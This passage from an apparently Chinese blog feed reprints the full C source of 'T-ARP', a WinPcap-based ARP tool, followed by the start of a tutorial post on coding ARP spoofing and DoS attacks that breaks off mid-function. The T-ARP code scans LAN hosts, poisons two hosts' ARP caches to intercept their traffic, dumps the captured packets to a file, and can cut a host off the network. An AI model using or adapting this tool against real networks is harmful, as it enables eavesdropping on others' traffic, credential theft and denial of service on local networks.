%s",PacketGetVersion());  //输出dll的版本信息；<br /><br />      PacketGetAdapterNames((char *)adaptername,&amp;adapterlength)  //获得本地主机的网络适配器列表和描述；<br /><br />      lpadapter=PacketOpenAdapter(adapterlist[open-1]);  //打开指定的网络适配器；<br /><br />      PacketGetNetType(lpadapter,&amp;ntype)  //获得网络适配器的MAC类型；<br /><br />      PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen)  //获得指定网络适配器的相关信息；<br /><br />      rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid);  //创建一个新线程来监听网络数据报；<br /><br />      PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)  //将网络适配器设置为混杂模式，这样才可以监听流过本地主机的数据报；<br />      PacketSetBuff(lpadapter,500*1024)  //自定义网络适配器的内核缓的大小为 500*1024；<br /><br />      PacketSetReadTimeout(lpadapter,1)  //设置接收一个数据报后等待的时间为1毫秒；<br /><br />      PacketReceivePacket(lpadapter,lppacketr,TRUE)  //在设置为混杂模式后，接收所有的数据报；<br /><br />      sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br />      sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid);  //创建一个新线程发送特定的ARP数据报<br /><br />      PacketSetNumWrites(lpadapter,2)  //在发送一个数据报时，重复发送两次；<br /><br />      PacketSendPacket(lpadapter,lppackets,TRUE)  //发送自定义数据报；<br />      <br />      WaitForSingleObject(sthread,INFINITE);  //等待发送ARP数据报的线程结束；<br /><br />      PacketGetStats(lpadapter,&amp;stat)  //获得网络适配器的统计信息；<br /><br />五) T-ARP源代码<br /><br />#include &lt;packet32.h&gt;<br />#include &lt;ntddndis.h&gt;<br />#include &lt;stdio.h&gt;<br />#include &lt;conio.h&gt;<br /><br />#pragma comment(lib,"ws2_32")<br />#pragma comment(lib,"packet")<br /><br />#define ETH_IP       0x0800<br />#define ETH_ARP      0x0806<br />#define ARP_REQUEST  0x0001<br />#define ARP_REPLY    0x0002<br />#define ARP_HARDWARE 0x0001<br />#define max_num_adapter  10<br /><br />#pragma pack(push,1)<br /><br />typedef struct ethdr<br />{<br />    unsigned char   eh_dst[6];<br />    unsigned char   eh_src[6];<br />    unsigned short  eh_type;<br />}ETHDR,*PETHDR;<br /><br />typedef struct arphdr<br />{<br />    unsigned short  arp_hdr;<br />    unsigned short  arp_pro;<br />    unsigned char   arp_hln;<br />    unsigned char   arp_pln;<br />    unsigned short  arp_opt;<br />    unsigned char   arp_sha[6];<br />    unsigned long   arp_spa;<br />    unsigned char   arp_tha[6];<br />    unsigned long   arp_tpa;<br />}ARPHDR,*PARPHDR;<br /><br />typedef struct iphdr<br />{<br />    unsigned char  h_lenver;<br />    unsigned char  tos;<br />    unsigned short total_len;<br />    unsigned short ident;<br />    unsigned short frag_and_flags;<br />    unsigned char  ttl;<br />    unsigned char  proto;<br />    unsigned short checksum;<br />    unsigned int   sourceip;<br />    unsigned int   destip;<br />}IPHDR,*PIPHDR;<br /><br />#pragma pack(push)<br /><br />LPADAPTER lpadapter=0;<br />LPPACKET  lppacketr,lppackets;<br />ULONG     myip,firstip,secondip;<br />UCHAR     mmac[6]={0},fmac[6]={0},smac[6]={0};<br />BOOL      mm=FALSE,fm=FALSE,sm=FALSE; <br />FILE      *fp; <br />char      adapterlist[max_num_adapter][1024];<br />char      msg[50];<br />int       num=0;<br /><br />void start()<br />{<br />    printf("T-ARP --- ARP Tools, by TOo2y(ò1é?), 11-9-2002\n");<br />    printf("Homepage: <a href="http://www.safechina.net/" target="_blank">www.safechina.net</a>\n");<br />    printf("E-mail: TOo2y@safechina.net\n");<br />    return ;<br />}<br /><br />void usage()<br />{<br />    printf("\nUsage: T-ARP  [-m|-a|-s|-r]  firstip  secondip  \n\n");<br />    printf("Option:\n");<br />    printf("   -m  mac        Get the mac address from firstip to secondip\n");<br />    printf("   -a  antisniff  Get the sniffing host from firstip to secondip\n");<br />    printf("   -s  spoof      1&gt; Spoof the host between firstip and secondip\n");<br />    printf("       sniff      2&gt; Sniff if firstip == secondip == your own ip\n");<br />    printf("       shock      3&gt; Shock if firstip == secondip != your own ip\n");<br />    printf("   -r  reset      Reset the spoofed host work normally\n\n");<br />    printf("Attention:\n");<br />    printf("    1&gt; You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");<br />    printf("    2&gt; HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");<br />    return ;<br />}<br /><br />int getmine()<br />{<br />    char   sendbuf[1024];<br />    int    k;<br />    ETHDR  eth;<br />    ARPHDR arp;<br /><br />    for(k=0;k&lt;6;k++)<br />    {<br />        eth.eh_dst[k]=0xff;<br />        eth.eh_src[k]=0x82;<br />        arp.arp_sha[k]=0x82;<br />        arp.arp_tha[k]=0x00;<br />    }<br />    eth.eh_type=htons(ETH_ARP);<br />    arp.arp_hdr=htons(ARP_HARDWARE);<br />    arp.arp_pro=htons(ETH_IP);<br />    arp.arp_hln=6;<br />    arp.arp_pln=4;<br />    arp.arp_opt=htons(ARP_REQUEST);<br />    arp.arp_tpa=htonl(myip);<br />    arp.arp_spa=inet_addr("112.112.112.112");<br /><br />    memset(sendbuf,0,sizeof(sendbuf));<br />    memcpy(sendbuf,&amp;eth;,sizeof(eth));<br />    memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));<br /><br />    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />    {<br />        printf("PacketSendPacket in getmine Error: %d\n",GetLastError());<br />        return -1;             <br />    }<br />    return 0;<br />}<br /><br />void getdata(LPPACKET lp,int op) <br />{<br />    ULONG  ulbytesreceived,off,tlen,ulen,ulLines;<br />    ULONG  j,k;<br />    ETHDR  *eth;<br />    ARPHDR *arp;<br />    PIPHDR ip;<br />    char   *buf,*pChar,*pLine,*base;<br />    struct bpf_hdr      *hdr;<br />    struct sockaddr_in  sin;<br /><br /><br />    ulbytesreceived=lp-&gt;ulBytesReceived;<br />    buf=(char *)lp-&gt;Buffer;<br /><br />    off=0;<br />    while(off&lt;ulbytesreceived)<br />    {<br />        if(kbhit())<br />        {<br />            return ;<br />        }<br />        hdr=(struct bpf_hdr *)(buf+off);<br />        off+=hdr-&gt;bh_hdrlen;<br /><br />        pChar=(char *)(buf+off);<br />        base=pChar;<br />        off=Packet_WORDALIGN(off+hdr-&gt;bh_caplen);<br /><br />        eth=(PETHDR)pChar;                <br />        arp=(PARPHDR)(pChar+sizeof(ETHDR)); <br /><br />        if(eth-&gt;eh_type==htons(ETH_IP)) <br />        {<br />                    ip=(PIPHDR)(pChar+sizeof(ETHDR));<br /><br />            if(fm &amp;&amp; sm &amp;&amp; (op==3))  <br />            {  <br />                if((((ip-&gt;sourceip!=htonl(myip)) &amp;&amp; (ip-&gt;destip!=htonl(myip)) <br />                                &amp;&amp; !strcmp((char *)eth-&gt;eh_dst,(char *)mmac)) <br />                &amp;&amp; ((ip-&gt;sourceip==htonl(firstip)) || (ip-&gt;destip==htonl(firstip)) <br />                || (ip-&gt;sourceip==htonl(secondip)) || (ip-&gt;destip==htonl(secondip))))<br />                                || ((firstip==myip) &amp;&amp; (secondip==myip)))<br />                {<br />                    memset(msg,0,sizeof(msg));<br /><br />                    sin.sin_addr.s_addr=ip-&gt;sourceip;                <br />                    printf("[IP:]%16s ---&gt; [IP:]",inet_ntoa(sin.sin_addr));<br /><br />                                        strcpy(msg,inet_ntoa(sin.sin_addr));<br />                    strcat(msg+15," ---&gt; ");<br /><br />                    sin.sin_addr.s_addr=ip-&gt;destip;<br />                    printf("%16s\n",inet_ntoa(sin.sin_addr));<br />                   <br />                    strcat(msg+23,inet_ntoa(sin.sin_addr));<br />                    fseek(fp,-2,1);<br />                    fwrite("\r\n\r\n\r\n",6,1,fp);<br />                    fwrite(msg,38,1,fp);<br />                    fwrite("\r\n",2,1,fp);<br /><br />                    ulLines=(hdr-&gt;bh_caplen+15)/16;<br />                    for(k=0;k&lt;ulLines;k++)<br />                    {<br />                        pLine=pChar;<br />                        printf("%08lx : ",pChar-base);<br /><br />                        ulen=tlen;<br />                        ulen=(ulen&gt;16) ? 16 : ulen;<br />                        tlen-=ulen;<br /><br />                        for(j=0;j&lt;ulen;j++)<br />                            printf("%02x ",*(BYTE *)pChar++);<br /><br />                        if(ulen&lt;16)<br />                            printf("%*s",(16-ulen)*3," ");<br /><br />                        pChar=pLine;<br /><br />                        for(j=0;j&lt;ulen;j++,pChar++)<br />                        {<br />                            printf("%c",isprint(*pChar)? *pChar : '.');<br />                            fputc(isprint(*pChar) ? *pChar : '.',fp); <br />                        }<br />                        printf("\n");<br />                    }<br />                    printf("\n");<br />                                        fwrite("\r\n",2,1,fp);  <br />                }<br /><br />            }<br />            continue;<br />        }<br />                else if((eth-&gt;eh_type==htons(ETH_ARP)) &amp;&amp; (arp-&gt;arp_opt==htons(ARP_REPLY)))  <br />        {<br />            sin.sin_addr.s_addr=arp-&gt;arp_spa;<br /><br />             if(sin.sin_addr.s_addr==htonl(myip)) <br />        {<br />            memcpy(mmac,eth-&gt;eh_src,6);<br />        if(!mm)<br />             {<br />            printf("\t");    <br />                     for(k=0;k&lt;5;k++)<br />                        printf("%.2x-",eth-&gt;eh_src[k]);<br />                  printf("%.2x\n",eth-&gt;eh_src[5]);<br /><br />                    switch(op)<br />            {<br />                    case 1:<br />                         printf("\n[MAC LIST:]");<br />                        break;<br />                     case 2:<br />                        printf("\n[Sniffing Host:]");     <br />                         break;<br />                      default:                    <br />                         break;<br />            }<br />        }<br />            mm=TRUE;<br />        }<br /><br />             if((op==1) || (op==2))<br />            {<br />                printf("\n[IP:] %.16s  [MAC:] ",inet_ntoa(sin.sin_addr));<br />                for(k=0;k&lt;5;k++)<br />                    printf("%.2x-",eth-&gt;eh_src[k]);<br />                printf("%.2x",eth-&gt;eh_src[5]);<br />        }<br />               else if(((op==3) || (op==4)) &amp;&amp; (!fm || !sm))<br />        {<br />                if(arp-&gt;arp_spa==htonl(firstip))<br />            {<br />                    memcpy(fmac,eth-&gt;eh_src,6);<br />                    fm=TRUE;<br />            }<br />                <br />            if(arp-&gt;arp_spa==htonl(secondip))<br />            {<br />                    memcpy(smac,eth-&gt;eh_src,6);<br />                    sm=TRUE;<br />            }<br />        }<br />    }<br />    }<br />    return ;<br />}<br />            <br />DWORD WINAPI sniff(LPVOID no)<br />{<br />    int      option=*(int *)no;<br />    char     recvbuf[1024*250];<br /><br />    if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)<br />    {<br />        printf("Warning: Unable to set the adapter to promiscuous mode\n");<br />    }<br /><br />    if(PacketSetBuff(lpadapter,500*1024)==FALSE)<br />    {<br />        printf("PacketSetBuff Error: %d\n",GetLastError());<br />        return -1;<br />    }<br /><br />    if(PacketSetReadTimeout(lpadapter,1)==FALSE)<br />    {<br />        printf("Warning: Unable to set the timeout\n");<br />    }<br /><br />    if((lppacketr=PacketAllocatePacket())==FALSE)<br />    {<br />        printf("PacketAllocatePacket receive Error: %d\n",GetLastError());<br />        return -1;<br />    }<br /><br />    PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));<br /><br />    while(!kbhit())<br />    {<br />        if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)<br />        {<br />            if(GetLastError()==6)<br />                return 0;<br />                        printf("PacketReceivePacket Error: %d\n",GetLastError());<br />                    return -1;<br />        }<br />        getdata(lppacketr,option);<br />    }<br />    return 0;<br />}<br /><br />DWORD WINAPI sendMASR(LPVOID no)<br />{<br />    int    fun=*(int *)no;<br />    int    k,stimes;<br />        char   sendbuf[1024];<br />    ETHDR  eth;<br />    ARPHDR arp;<br /><br />    if(fun&lt;1 || fun&gt;4)<br />    {<br />        return -1;<br />    }<br />    else<br />    {<br />        for(k=0;k&lt;6;k++)<br />        {<br />            eth.eh_dst[k]=0xff;<br />            arp.arp_tha[k]=0x00;<br />        }<br />        if(fun==2)<br />            eth.eh_dst[5]=0xfe;<br />    }<br /><br />    memcpy(eth.eh_src,mmac,6);<br />    eth.eh_type=htons(ETH_ARP);<br /><br />    arp.arp_hdr=htons(ARP_HARDWARE);<br />    arp.arp_pro=htons(ETH_IP);<br />    arp.arp_hln=6;<br />    arp.arp_pln=4;<br />    arp.arp_opt=htons(ARP_REQUEST);<br />    arp.arp_spa=htonl(myip);<br />    memcpy(arp.arp_sha,mmac,6);<br /><br />    if(fun==1 || fun==2)<br />        stimes=1;<br />    else if(fun==3 || fun==4)<br />        stimes=2;<br /><br />    for(k=0;k&lt;stimes;k++)<br />    {<br />        if(stimes==1)<br />        {<br />            arp.arp_tpa=htonl(firstip+(num++));<br />        }<br />        else if(stimes==2)<br />        {<br />            switch(k)<br />            {<br />            case 0:<br />                arp.arp_tpa=htonl(firstip);<br />                break;<br />            case 1:<br />                arp.arp_tpa=htonl(secondip);<br />                break;<br />            default:<br />                break;<br />            }<br />        }<br /><br />        memset(sendbuf,0,sizeof(sendbuf));<br />        memcpy(sendbuf,&amp;eth;,sizeof(eth));<br />        memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));<br /><br />        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />        {<br />            printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());<br />            return -1;<br />        }<br />    }<br />    return 0;<br />}<br />        <br />DWORD WINAPI sendSR(LPVOID no)<br />{<br />    int     fun=*(int *)no;<br />    int     j,k;<br />    char    sendbuf[1024];<br />    struct  sockaddr_in  fsin,ssin;<br />    BOOL    stimes=FALSE;<br />    ETHDR   eth;<br />    ARPHDR  arp;<br /><br />    fsin.sin_addr.s_addr=htonl(firstip);<br />    ssin.sin_addr.s_addr=htonl(secondip);<br /><br />    eth.eh_type=htons(ETH_ARP);<br />    arp.arp_hdr=htons(ARP_HARDWARE);<br />    arp.arp_pro=htons(ETH_IP);<br />    arp.arp_hln=6;<br />    arp.arp_pln=4;<br />       arp.arp_opt=htons(ARP_REPLY);       <br /><br />    if(fun==3)<br />    {<br />        if(mm)<br />        {<br />            if((firstip==myip) &amp;&amp; (secondip==myip))<br />            {<br />                        fm=TRUE;<br />                     sm=TRUE;<br /><br />                memcpy(fmac,mmac,6);<br />                memcpy(smac,mmac,6);<br />            }<br />            else if(!fm || !sm)<br />            {<br />                printf("\nNot get enough data\n"); <br />                return -1;<br />            }<br /><br />            for(j=0;j&lt;2;j++)<br />            {<br />                if(j==0)<br />                {<br />                    printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));<br />                    printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));<br />                }<br />                else if(j==1)<br />                {<br />                    printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));<br />                    printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));<br />                }<br />                                for(k=0;k&lt;5;k++)<br />                        printf("%.2x-",mmac[k]);<br />                    printf("%.2x\n",mmac[5]);<br />            }<br />            printf("\ni will try to snoof ...\n\n");<br />                    stimes=TRUE;<br />        }<br />        else <br />        {<br />            printf("\nNot get enough data\n"); <br />                return -1;<br />        }<br />    }<br />    else if(fun==4)<br />    {<br />        if(mm) <br />        {<br />            if((firstip==myip) &amp;&amp; (secondip==myip))<br />            {<br />                        fm=TRUE;<br />                        sm=TRUE;<br /><br />                         memcpy(fmac,mmac,6);<br />                      memcpy(smac,mmac,6);<br />            }<br />            else if(!fm || !sm)<br />            {<br />                              printf("\nNot get enough data\n");<br />                         return -1;<br />            }<br /><br />            printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));<br />            printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));<br /><br />                        for(k=0;k&lt;5;k++)<br />                    printf("%.2x-",smac[k]);<br />                printf("%.2x\n",smac[5]);<br /><br />            printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));<br />            printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));<br /><br />                        for(k=0;k&lt;5;k++)<br />                    printf("%.2x-",fmac[k]);<br />                 printf("%.2x\n\n",fmac[5]);<br /><br />                    stimes=FALSE;<br />        }<br />        else <br />        {<br />            printf("\nNot get enough data\n"); <br />                return -1;<br />        }<br />    }<br />    else<br />        return -1;<br /><br />    do<br />    {<br />        memcpy(eth.eh_dst,fmac,6);<br />        memcpy(arp.arp_tha,fmac,6);<br />        arp.arp_tpa=htonl(firstip);<br />        arp.arp_spa=htonl(secondip);<br /><br />        if(!stimes)<br />        {<br />            memcpy(eth.eh_src,smac,6);<br />            memcpy(arp.arp_sha,smac,6);<br />        }<br />        else<br />        {<br />            memcpy(eth.eh_src,mmac,6);<br />            memcpy(arp.arp_sha,mmac,6);<br />        }<br /><br />        memset(sendbuf,0,sizeof(sendbuf));<br />        memcpy(sendbuf,&amp;eth;,sizeof(eth));<br />        memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));<br /><br />        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br /><br />            if(PacketSetNumWrites(lpadapter,2)==FALSE)<br />        {<br />               printf("Warning: Unable to send a packet 2 times\n");<br />        }<br /><br />        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />        {<br />            printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());<br />            return -1;<br />        }<br />        Sleep(1000);  <br /><br />        memcpy(eth.eh_dst,smac,6);<br />        memcpy(arp.arp_tha,smac,6);<br />        arp.arp_tpa=htonl(secondip);<br />        arp.arp_spa=htonl(firstip);<br /><br />        if(!stimes)<br />        {<br />            memcpy(eth.eh_src,fmac,6);<br />            memcpy(arp.arp_sha,fmac,6);<br />        }<br />                else    <br />        {<br />            memcpy(eth.eh_src,mmac,6);<br />            memcpy(arp.arp_sha,mmac,6);<br />        }<br /><br /><br />        memset(sendbuf,0,sizeof(sendbuf));<br />        memcpy(sendbuf,&amp;eth;,sizeof(eth));<br />        memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));<br /><br />        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />        {<br />            printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());<br />            return -1;<br />        }<br />        Sleep(1000);<br />    }while(stimes);<br /><br />    if(fun==4)<br />        printf("Reset Successfully");<br /><br />    return 0;<br />}<br /><br />int main(int argc,char *argv[])<br />{<br />    HANDLE   sthread,rthread;<br />    WCHAR    adaptername[8192];<br />    WCHAR    *name1,*name2;<br />    ULONG    adapterlength;<br />    DWORD    threadsid,threadrid;<br />    struct   NetType      ntype;<br />    struct   bpf_stat     stat;<br />    struct   sockaddr_in  sin;<br />    struct   npf_if_addr  ipbuff;<br />    int      adapternum=0,opti=0,open,i,total;<br />    long     npflen;<br /><br />    system("cls.exe");<br />    start();<br /><br />    if(argc!=4)<br />    {<br />        usage();<br />        getche();<br />        return -1;<br />    }<br />    else<br />    {<br />        if(!strcmp(argv[1],"-m"))<br />        {<br />            opti=1;<br />        }<br />        else if(!strcmp(argv[1],"-a"))<br />        {<br />            opti=2;<br />        }<br />        else if(!strcmp(argv[1],"-s"))<br />        {<br />             opti=3;<br /><br />             if((fp=fopen("capture.txt","w+"))==NULL)<br />        {<br />                printf("Open capture.txt Error: %d\n");<br />                    return -1;<br />        }<br />                else<br />        {<br />                        fwrite("T-ARP Captrue Data",20,1,fp);<br />        }<br />        }<br />        else if(!strcmp(argv[1],"-r"))<br />        {<br />            opti=4;<br />        }<br />        else<br />        {<br />            usage();<br />            getche();<br />            return -1;<br />        }<br />    }<br /><br /><br />    firstip=ntohl(inet_addr(argv[2]));<br />    secondip=ntohl(inet_addr(argv[3]));<br />    total=secondip-firstip+1;<br /><br />    printf("\nLibarary Version: %s",PacketGetVersion());<br /><br />    adapterlength=sizeof(adaptername);<br /><br />    if(PacketGetAdapterNames((char *)adaptername,&amp;adapterlength)==FALSE)<br />    {<br />        printf("PacketGetAdapterNames Error: %d\n",GetLastError());<br />        return -1;<br />    }<br />    <br />    name1=adaptername;<br />    name2=adaptername;<br />    i=0;<br /><br />    while((*name1!='\0') || (*(name1-1)!='\0'))<br />    {<br />        if(*name1=='\0')<br />        {<br />            memcpy(adapterlist[i],name2,2*(name1-name2));<br />            name2=name1+1;<br />            i++;<br />        }<br />        name1++;<br />    }<br /><br />    adapternum=i;<br />    printf("\nAdapters Installed:\n");<br />    for(i=0;i&lt;adapternum;i++)<br />        wprintf(L"%d - %s\n",i+1,adapterlist[i]);<br /><br />    do<br />    {<br />        printf("\nSelect the number of the adapter to open: ");<br />        scanf("%d",&amp;open);<br />        if(open&gt;=1 &amp;&amp; open&lt;=adapternum)<br />            break;         <br />    }while(open&lt;1 || open&gt;adapternum);<br /><br />    lpadapter=PacketOpenAdapter(adapterlist[open-1]);<br /><br />    if(!lpadapter || (lpadapter-&gt;hFile==INVALID_HANDLE_VALUE))<br />    {<br />        printf("PacketOpenAdapter Error: %d\n",GetLastError());<br />        return -1;<br />    }<br /><br />    if(PacketGetNetType(lpadapter,&amp;ntype))<br />    {<br />        printf("\n\t\t*** Host Information ***\n");<br />        printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);    <br />        printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);<br />    }<br /><br />    npflen=sizeof(ipbuff);  <br />    if(PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen))<br />    {<br />        sin=*(struct sockaddr_in *)&amp;(ipbuff.Broadcast);<br />        printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br /><br />        sin=*(struct sockaddr_in *)&amp;(ipbuff.SubnetMask);<br />        printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));<br /><br />        sin=*(struct sockaddr_in *)&amp;(ipbuff.IPAddress);<br />        printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br />        myip=ntohl(sin.sin_addr.s_addr);<br /><br />        printf("[MACAddress:]");<br />    }<br />    else<br />    {<br />        printf("\nNot get enough data\n");<br />        PacketFreePacket(lppackets);<br />        PacketCloseAdapter(lpadapter);<br />        return -1;<br />    }<br /><br />    if((lppackets=PacketAllocatePacket())==FALSE)<br />    {<br />        printf("PacketAllocatePacket send Error: %d\n",GetLastError());<br />        return -1;<br />    }<br /><br />    rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid);<br />    Sleep(300);<br /><br />    if(getmine()) <br />    {<br />        PacketFreePacket(lppackets);<br />        PacketFreePacket(lppacketr);<br /><br />        PacketCloseAdapter(lpadapter);<br />        return -1;<br />    }<br />    Sleep(300);<br /><br />    if((opti==1) || (opti==2))<br />    {<br />        for(i=0;i&lt;total;i++)<br />        {<br />            sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br />            Sleep(30);<br />        }<br />        Sleep(1000);<br />    }<br />    else if((opti==3) || (opti==4)) <br />    {<br />        sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);<br />        Sleep(300);<br />        CloseHandle(sthread);<br /><br />        sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid);<br />    }<br /><br />    WaitForSingleObject(sthread,INFINITE); <br />    CloseHandle(sthread);<br />    CloseHandle(rthread);<br /><br />    if(PacketGetStats(lpadapter,&amp;stat)==FALSE)<br />    {<br />        printf("Warning: Unable to get the adapter stat\n");<br />    }<br />    else<br />    {<br />        printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);<br />    }<br />    PacketFreePacket(lppackets);<br />    PacketFreePacket(lppacketr);<br /><br />    PacketCloseAdapter(lpadapter);<br /><br />    return 0;<br />} <img src ="http://www.blogjava.net/yczz/aggbug/100172.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-18 11:32 <a href="http://www.blogjava.net/yczz/articles/100172.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ARP Spoof&amp;DoS攻击编程实战</title><link>http://www.blogjava.net/yczz/articles/100081.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 14:14:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100081.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100081.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100081.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100081.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100081.html</trackback:ping><description><![CDATA[
		<table style="TABLE-LAYOUT: fixed">
				<tbody>
						<tr>
								<td>
										<div class="cnt">
												<blockquote>
														<font class="b1">关于讨论ARP哄骗的文章，黑防在第8期的《小窥ARP协议》和第9期《ARP SPOOF DoS攻防详谈》均有介绍，不过，俗话说，授人鱼，不如授人以渔，更多的读者也许期待的是如何将其原理和编程实现结合。本文的着笔点正是出于这样的目的，更是对上述两篇文章的一个补充，希望能给读者们真正理解ARP攻击的实质，同时，也给部分想学习而又害怕学习WinPcap的读者一些“师傅领进门”的感受。<br />【以下测试环境为WinXPsp1 + VC6.0sp6 + WinPcap3.14beta，其中，必须安装WinPcap3.0以上版本的驱动。】<br />首先，我们通过例子来回顾一下ARP哄骗和攻击的原理吧。先来做个实验，先打开一个cmd窗口，输入arp –a，该命令表示通过询问当前协议数据来查看本机ARP缓存保存的入口地址。 
<p> </p><p>上面表示作者本人的主机IP为192.168.3.155，现在ARP缓存里只有两条IP为192.168.3.253和192.168.3.254的ARP缓存记录，很显然，两IP是作者主机所在局域网的网关（嘿嘿，校园网和ADSL），它的MAC地址为**-**-18-23-b8-10和**-**-4c-78-22-22，类型为dynamic，即动态缓存。<br />然后，ping同一局域网内的另一IP为192.168.3.162的主机，再次输入arp –a，得到结果。<br />看到，虽然PING不通，但ARP缓存却刷新了，添加了192.168.3.162这一项记录，并显示其MAC地址为**-**-ab-31-5c-3c，类型也是dynamic，显然，对方开了防火墙并设置了禁止内发的PING包，但是仍然暴露了该主机是活动主机的事实，而且对方的ARP缓存因此而刷新。</p><p>好了，到现在，我们可以把目标定为，伪造192.168.3.155的MAC地址为11-22-33-44-55-66，以达到哄骗的目的。我们以此为基点，先进入编码的部分。因为整个ARP Spoof&amp;Dos都在交换环境的局域网内，涉及到的都是MAC层的通信，所以定义以太网首部和ARP首部就成为必要的了，这样我们才可以构造伪数据包，如下：<br />typedef struct ehhdr <br />{<br />unsigned char eh_dst[6]; /* 目标以太网地址*/<br />unsigned char eh_src[6]; /* 源以太网地址 */<br />unsigned short eh_type; /* 以太网包类型 */<br />}EHHDR, *PEHHDR;</p><p><br />typedef struct arphdr<br />{<br />unsigned short arp_hrd; /* 硬件地址格式 */<br />unsigned short arp_pro; /* 协议地址格式 */<br />unsigned char arp_hln; /* 硬件地址长度 */<br />unsigned char arp_pln; /* 协议地址长度 */<br />unsigned short arp_op; /* ARP/RARP 操作 */</p><p>unsigned char arp_sha[6]; /* 源发送者硬件地址 */<br />unsigned long arp_spa; /* 源发送者协议地址 */<br />unsigned char arp_tha[6]; /* 目标硬件地址 */<br />unsigned long arp_tpa; /* 目标协议地址 */<br />}ARPHDR, *PARPHDR;<br />每个字段在注释里讲的很详细了，如果有疑问，可以查阅TCP/IP相关书籍。下一步，笔者的Spoof实现需要输入2个IP地址外加一个可选的网卡地址，所以就涉及到解析输入的主机名或IP的实现，这个相信很多写过网络程序的读者都不陌生，如下：<br />DWORD ResolveAddr(const char* host)<br />{<br />PHOSTENT hp;<br />DWORD host_ip;<br />host_ip = inet_addr(host); /* 转换成网络地址 */<br />/* 如果是主机名或域名，非点分10进制IP */<br />if (host_ip == INADDR_NONE) {<br />hp = gethostbyname(host); <br />if ( hp == NULL)<br />{<br />printf("\nError: could not resolv hostname %s\n", host);<br />exit(1);<br />}<br />else <br />host_ip = *(DWORD*)(hp-&gt;h_addr_list[0]); /* 转换成32位网络地址 */<br />}</p><p>return host_ip;<br />}<br />然后，需要定义一个GetInterface()函数，顾名思义，就是获得本地主机网络接口的意思，因为基于WinPcap的几乎所有应用程序都需要选择合适的网卡适配器。（很多刚接触WinPcap的读者可能会感到很惶恐，好像WinPcap所用的API函数让很多Windows程序员一下子接收不了，其实很正常，用的多了，看的多了，慢慢的，我相信读者门会越来越喜欢强大的WinPcap的）GetInterface()定义如下：<br />pcap_t* GetInterface()<br />{<br />pcap_t *fp; <br />char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */<br />int i, inum;<br />pcap_if_t *alldevs, *d;<br />/*取得设备列表*/<br />if(pcap_findalldevs(&amp;alldevs, errbuf) &lt; 0) {<br />fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);<br />exit(1);<br />}<br />/* 打印设备列表*/<br />i = 0;<br />printf("\n\nInterfaces list:\n\n");<br />for(d = alldevs; d; d = d-&gt;next) {<br />printf("%d. %s", ++i, d-&gt;name);<br />if(d-&gt;description) printf(" (%s)\n", d-&gt;description);<br />else printf(" (No description available)\n");<br />}<br />if(i == 0) {<br />printf("\nNo interfaces found! Make sure WinPcap is installed.\n");<br />pcap_freealldevs(alldevs);<br 